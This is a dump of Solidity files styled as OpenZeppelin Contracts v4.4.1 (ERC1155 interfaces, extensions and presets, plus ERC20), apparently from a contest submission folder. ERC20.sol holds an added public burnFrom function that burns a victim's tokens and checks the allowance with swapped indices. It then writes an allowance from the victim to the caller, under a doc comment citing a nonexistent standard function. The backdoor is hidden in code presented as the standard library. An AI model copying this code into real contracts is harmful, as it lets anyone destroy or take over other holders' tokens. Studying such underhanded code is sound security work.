    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n    /**\n        @dev Handles the receipt of a single ERC1155 token type. This function is\n        called at the end of a `safeTransferFrom` after the balance has been updated.\n        To accept the transfer, this must return\n        `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n        (i.e. 0xf23a6e61, or its own function selector).\n        @param operator The address which initiated the transfer (i.e. msg.sender)\n        @param from The address which previously owned the token\n        @param id The ID of the token being transferred\n        @param value The amount of tokens being transferred\n        @param data Additional data with no specified format\n        @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n    */\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 value,\n        bytes calldata data\n    ) external returns (bytes4);\n\n    /**\n        @dev Handles the receipt of a multiple ERC1155 token types. This function\n        is called at the end of a `safeBatchTransferFrom` after the balances have\n        been updated. To accept the transfer(s), this must return\n        `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n        (i.e. 0xbc197c81, or its own function selector).\n        @param operator The address which initiated the batch transfer (i.e. msg.sender)\n        @param from The address which previously owned the token\n        @param ids An array containing ids of each token being transferred (order and length must match values array)\n        @param values An array containing amounts of each token being transferred (order and length must match ids array)\n        @param data Additional data with no specified format\n        @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n    */\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata values,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/README.adoc",
    "content": "= ERC 1155\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc1155\n\nThis set of interfaces and contracts are all related to the https://eips.ethereum.org/EIPS/eip-1155[ERC1155 Multi Token Standard].\n\nThe EIP consists of three interfaces which fulfill different roles, found here as {IERC1155}, {IERC1155MetadataURI} and {IERC1155Receiver}.\n\n{ERC1155} implements the mandatory {IERC1155} interface, as well as the optional extension {IERC1155MetadataURI}, by relying on the substitution mechanism to use the same URI for all token types, dramatically reducing gas costs.\n\nAdditionally there are multiple custom extensions, including:\n\n* designation of addresses that can pause token transfers for all users ({ERC1155Pausable}).\n* destruction of own tokens ({ERC1155Burnable}).\n\nNOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC1155 (such as <<ERC1155-_mint-address-uint256-uint256-bytes-,`_mint`>>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc1155.adoc#Presets[ERC1155 Presets] (such as {ERC1155PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.\n\n== Core\n\n{{IERC1155}}\n\n{{IERC1155MetadataURI}}\n\n{{ERC1155}}\n\n{{IERC1155Receiver}}\n\n== Extensions\n\n{{ERC1155Pausable}}\n\n{{ERC1155Burnable}}\n\n{{ERC1155Supply}}\n\n== Presets\n\nThese contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC1155PresetMinterPauser}}\n\n== Utilities\n\n{{ERC1155Holder}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Burnable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\n\n/**\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\n * own tokens and those that they have been approved to use.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155Burnable is ERC1155 {\n    function burn(\n        address account,\n        uint256 id,\n        uint256 value\n    ) public virtual {\n        require(\n            account == _msgSender() || isApprovedForAll(account, _msgSender()),\n            \"ERC1155: caller is not owner nor approved\"\n        );\n\n        _burn(account, id, value);\n    }\n\n    function burnBatch(\n        address account,\n        uint256[] memory ids,\n        uint256[] memory values\n    ) public virtual {\n        require(\n            account == _msgSender() || isApprovedForAll(account, _msgSender()),\n            \"ERC1155: caller is not owner nor approved\"\n        );\n\n        _burnBatch(account, ids, values);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Pausable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC1155 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155Pausable is ERC1155, Pausable {\n    /**\n     * @dev See {ERC1155-_beforeTokenTransfer}.\n     *\n     * Requirements:\n     *\n     * - the contract must not be paused.\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n        require(!paused(), \"ERC1155Pausable: token transfer while paused\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Supply.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\n\n/**\n * @dev Extension of ERC1155 that adds tracking of total supply per id.\n *\n * Useful for scenarios where Fungible and Non-fungible tokens have to be\n * clearly identified. Note: While a totalSupply of 1 might mean the\n * corresponding is an NFT, there is no guarantees that no other token with the\n * same id are not going to be minted.\n */\nabstract contract ERC1155Supply is ERC1155 {\n    mapping(uint256 => uint256) private _totalSupply;\n\n    /**\n     * @dev Total amount of tokens in with a given id.\n     */\n    function totalSupply(uint256 id) public view virtual returns (uint256) {\n        return _totalSupply[id];\n    }\n\n    /**\n     * @dev Indicates whether any token exist with a given id, or not.\n     */\n    function exists(uint256 id) public view virtual returns (bool) {\n        return ERC1155Supply.totalSupply(id) > 0;\n    }\n\n    /**\n     * @dev See {ERC1155-_beforeTokenTransfer}.\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n        if (from == address(0)) {\n            for (uint256 i = 0; i < ids.length; ++i) {\n                _totalSupply[ids[i]] += amounts[i];\n            }\n        }\n\n        if (to == address(0)) {\n            for (uint256 i = 0; i < ids.length; ++i) {\n                _totalSupply[ids[i]] -= amounts[i];\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155.sol\";\n\n/**\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155MetadataURI is IERC1155 {\n    /**\n     * @dev Returns the URI for token type `id`.\n     *\n     * If the `\\{id\\}` substring is present in the URI, it must be replaced by\n     * clients with the actual token type ID.\n     */\n    function uri(uint256 id) external view returns (string memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/presets/ERC1155PresetMinterPauser.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\nimport \"../extensions/ERC1155Burnable.sol\";\nimport \"../extensions/ERC1155Pausable.sol\";\nimport \"../../../access/AccessControlEnumerable.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @dev {ERC1155} token, including:\n *\n *  - ability for holders to burn (destroy) their tokens\n *  - a minter role that allows for token minting (creation)\n *  - a pauser role that allows to stop all token transfers\n *\n * This contract uses {AccessControl} to lock permissioned functions using the\n * different roles - head to its documentation for details.\n *\n * The account that deploys the contract will be granted the minter and pauser\n * roles, as well as the default admin role, which will let it grant both minter\n * and pauser roles to other accounts.\n */\ncontract ERC1155PresetMinterPauser is Context, AccessControlEnumerable, ERC1155Burnable, ERC1155Pausable {\n    bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n    bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n    /**\n     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that\n     * deploys the contract.\n     */\n    constructor(string memory uri) ERC1155(uri) {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n        _setupRole(MINTER_ROLE, _msgSender());\n        _setupRole(PAUSER_ROLE, _msgSender());\n    }\n\n    /**\n     * @dev Creates `amount` new tokens for `to`, of token type `id`.\n     *\n     * See {ERC1155-_mint}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `MINTER_ROLE`.\n     */\n    function mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have minter role to mint\");\n\n        _mint(to, id, amount, data);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.\n     */\n    function mintBatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have minter role to mint\");\n\n        _mintBatch(to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Pauses all token transfers.\n     *\n     * See {ERC1155Pausable} and {Pausable-_pause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function pause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have pauser role to pause\");\n        _pause();\n    }\n\n    /**\n     * @dev Unpauses all token transfers.\n     *\n     * See {ERC1155Pausable} and {Pausable-_unpause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function unpause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have pauser role to unpause\");\n        _unpause();\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(AccessControlEnumerable, ERC1155)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override(ERC1155, ERC1155Pausable) {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Holder.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Holder.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155Receiver.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ncontract ERC1155Holder is ERC1155Receiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes memory\n    ) public virtual override returns (bytes4) {\n        return this.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] memory,\n        uint256[] memory,\n        bytes memory\n    ) public virtual override returns (bytes4) {\n        return this.onERC1155BatchReceived.selector;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Receiver.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n        return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n    mapping(address => uint256) private _balances;\n\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n\n    /**\n     * @dev Sets the values for {name} and {symbol}.\n     *\n     * The default value of {decimals} is 18. To select a different value for\n     * {decimals} you should overload it.\n     *\n     * All two of these values are immutable: they can only be set once during\n     * construction.\n     */\n    constructor(string memory name_, string memory symbol_) {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev Returns the symbol of the token, usually a shorter version of the\n     * name.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev Returns the number of decimals used to get its user representation.\n     * For example, if `decimals` equals `2`, a balance of `505` tokens should\n     * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n     *\n     * Tokens usually opt for a value of 18, imitating the relationship between\n     * Ether and Wei. This is the value {ERC20} uses, unless this function is\n     * overridden;\n     *\n     * NOTE: This information is only used for _display_ purposes: it in\n     * no way affects any of the arithmetic of the contract, including\n     * {IERC20-balanceOf} and {IERC20-transfer}.\n     */\n    function decimals() public view virtual override returns (uint8) {\n        return 18;\n    }\n\n    /**\n     * @dev See {IERC20-totalSupply}.\n     */\n    function totalSupply() public view virtual override returns (uint256) {\n        return _totalSupply;\n    }\n\n    /**\n     * @dev See {IERC20-balanceOf}.\n     */\n    function balanceOf(address account) public view virtual override returns (uint256) {\n        return _balances[account];\n    }\n\n    /**\n     * @dev See {IERC20-transfer}.\n     *\n     * Requirements:\n     *\n     * - `recipient` cannot be the zero address.\n     * - the caller must have a balance of at least `amount`.\n     */\n    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n        _transfer(_msgSender(), recipient, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-allowance}.\n     */\n    function allowance(address owner, address spender) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    /**\n     * @dev See {IERC20-approve}.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function approve(address spender, uint256 amount) public virtual override returns (bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-transferFrom}.\n     *\n     * Emits an {Approval} event indicating the updated allowance. This is not\n     * required by the EIP. See the note at the beginning of {ERC20}.\n     *\n     * Requirements:\n     *\n     * - `sender` and `recipient` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     * - the caller must have allowance for ``sender``'s tokens of at least\n     * `amount`.\n     */\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        _transfer(sender, recipient, amount);\n\n        uint256 currentAllowance = _allowances[sender][_msgSender()];\n        require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\n        unchecked {\n            _approve(sender, _msgSender(), currentAllowance - amount);\n        }\n\n        return true;\n    }\n\n    /**\n     * @dev Atomically increases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\n        return true;\n    }\n\n    /**\n     * @dev Atomically decreases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     * - `spender` must have allowance for the caller of at least\n     * `subtractedValue`.\n     */\n    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n        uint256 currentAllowance = _allowances[_msgSender()][spender];\n        require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n        unchecked {\n            _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n        }\n\n        return true;\n    }\n\n    /**\n     * @dev Moves `amount` of tokens from `sender` to `recipient`.\n     *\n     * This internal function is equivalent to {transfer}, and can be used to\n     * e.g. implement automatic token fees, slashing mechanisms, etc.\n     *\n     * Emits a {Transfer} event.\n     *\n     * Requirements:\n     *\n     * - `sender` cannot be the zero address.\n     * - `recipient` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     */\n    function _transfer(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) internal virtual {\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(sender, recipient, amount);\n\n        uint256 senderBalance = _balances[sender];\n        require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n        unchecked {\n            _balances[sender] = senderBalance - amount;\n        }\n        _balances[recipient] += amount;\n\n        emit Transfer(sender, recipient, amount);\n\n        _afterTokenTransfer(sender, recipient, amount);\n    }\n\n    /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * Emits a {Transfer} event with `from` set to the zero address.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n\n        _totalSupply += amount;\n        _balances[account] += amount;\n        emit Transfer(address(0), account, amount);\n\n        _afterTokenTransfer(address(0), account, amount);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, reducing the\n     * total supply.\n     *\n     * Emits a {Transfer} event with `to` set to the zero address.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     * - `account` must have at least `amount` tokens.\n     */\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        uint256 accountBalance = _balances[account];\n        require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n        unchecked {\n            _balances[account] = accountBalance - amount;\n        }\n        _totalSupply -= amount;\n\n        emit Transfer(account, address(0), amount);\n\n        _afterTokenTransfer(account, address(0), amount);\n    }\n\n    /**\n     * @dev See {IERC20-burnFrom}.\n     *\n     * Emits an {Approval} event indicating the updated allowance. This is not\n     * required by the EIP. See the note at the beginning of {ERC20}.\n     *\n     * Requirements:\n     *\n     * - `sender` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     * - the caller must have allowance for ``sender``'s tokens of at least\n     * `amount`.\n     */\n    function burnFrom(\n        address sender,\n        uint256 amount\n    ) public virtual returns (bool) {\n        _burn(sender, amount);\n\n        uint256 currentAllowance = _allowances[_msgSender()][sender];\n        require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\n        unchecked {\n            _approve(sender, _msgSender(), currentAllowance - amount);\n        }\n\n        return true;\n    }\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n     *\n     * This internal function is equivalent to `approve`, and can be used to\n     * e.g. set automatic allowances for certain subsystems, etc.\n     *\n     * Emits an {Approval} event.\n     *\n     * Requirements:\n     *\n     * - `owner` cannot be the zero address.\n     * - `spender` cannot be the zero address.\n     */\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    /**\n     * @dev Hook that is called before any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * will be transferred to `to`.\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n\n    /**\n     * @dev Hook that is called after any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * has been transferred to `to`.\n     * - when `from` is zero, `amount` tokens have been minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n    /**\n     * @dev Returns the amount of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens owned by `account`.\n     */\n    function balanceOf(address account) external view returns (uint256);\n\n    /**\n     * @dev Moves `amount` tokens from the caller's account to `recipient`.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transfer(address recipient, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Returns the remaining number of tokens that `spender` will be\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\n     * zero by default.\n     *\n     * This value changes when {approve} or {transferFrom} are called.\n     */\n    function allowance(address owner, address spender) external view returns (uint256);\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\n     * that someone may use both the old and the new allowance by unfortunate\n     * transaction ordering. One possible solution to mitigate this race\n     * condition is to first reduce the spender's allowance to 0 and set the\n     * desired value afterwards:\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Moves `amount` tokens from `sender` to `recipient` using the\n     * allowance mechanism. `amount` is then deducted from the caller's\n     * allowance.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) external returns (bool);\n\n    /**\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\n     * another (`to`).\n     *\n     * Note that `value` may be zero.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    /**\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n     * a call to {approve}. `value` is the new allowance.\n     */\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/README.adoc",
    "content": "= ERC 20\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc20\n\nThis set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-20[ERC20 Token Standard].\n\nTIP: For an overview of ERC20 tokens and a walk through on how to create a token contract read our xref:ROOT:erc20.adoc[ERC20 guide].\n\nThere a few core contracts that implement the behavior specified in the EIP:\n\n* {IERC20}: the interface all ERC20 implementations should conform to.\n* {IERC20Metadata}: the extended ERC20 interface including the <<ERC20-name,`name`>>, <<ERC20-symbol,`symbol`>> and <<ERC20-decimals,`decimals`>> functions.\n* {ERC20}: the implementation of the ERC20 interface, including the <<ERC20-name,`name`>>, <<ERC20-symbol,`symbol`>> and <<ERC20-decimals,`decimals`>> optional standard extension to the base interface.\n\nAdditionally there are multiple custom extensions, including:\n\n* {ERC20Burnable}: destruction of own tokens.\n* {ERC20Capped}: enforcement of a cap to the total supply when minting tokens.\n* {ERC20Pausable}: ability to pause token transfers.\n* {ERC20Snapshot}: efficient storage of past token balances to be later queried at any point in time.\n* {ERC20Permit}: gasless approval of tokens (standardized as ERC2612).\n* {ERC20FlashMint}: token level support for flash loans through the minting and burning of ephemeral tokens (standardized as ERC3156).\n* {ERC20Votes}: support for voting and vote delegation.\n* {ERC20VotesComp}: support for voting and vote delegation (compatible with Compound's token, with uint96 restrictions).\n* {ERC20Wrapper}: wrapper to create an ERC20 backed by another ERC20, with deposit and withdraw methods. Useful in conjunction with {ERC20Votes}.\n\nFinally, there are some utilities to interact with ERC20 contracts in various ways.\n\n* {SafeERC20}: a wrapper around the interface that eliminates the need to handle boolean return values.\n* {TokenTimelock}: hold tokens for a beneficiary until a specified time.\n\nThe following related EIPs are in draft status.\n\n- {ERC20Permit}\n\nNOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC20 (such as <<ERC20-_mint-address-uint256-,`_mint`>>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc20.adoc#Presets[ERC20 Presets] (such as {ERC20PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.\n\n== Core\n\n{{IERC20}}\n\n{{IERC20Metadata}}\n\n{{ERC20}}\n\n== Extensions\n\n{{ERC20Burnable}}\n\n{{ERC20Capped}}\n\n{{ERC20Pausable}}\n\n{{ERC20Snapshot}}\n\n{{ERC20Votes}}\n\n{{ERC20VotesComp}}\n\n{{ERC20Wrapper}}\n\n{{ERC20FlashMint}}\n\n== Draft EIPs\n\nThe following EIPs are still in Draft status. Due to their nature as drafts, the details of these contracts may change and we cannot guarantee their xref:ROOT:releases-stability.adoc[stability]. Minor releases of OpenZeppelin Contracts may contain breaking changes for the contracts in this directory, which will be duly announced in the https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/CHANGELOG.md[changelog]. The EIPs included here are used by projects in production and this may make them less likely to change significantly.\n\n{{ERC20Permit}}\n\n== Presets\n\nThese contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC20PresetMinterPauser}}\n\n{{ERC20PresetFixedSupply}}\n\n== Utilities\n\n{{SafeERC20}}\n\n{{TokenTimelock}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Burnable.sol",
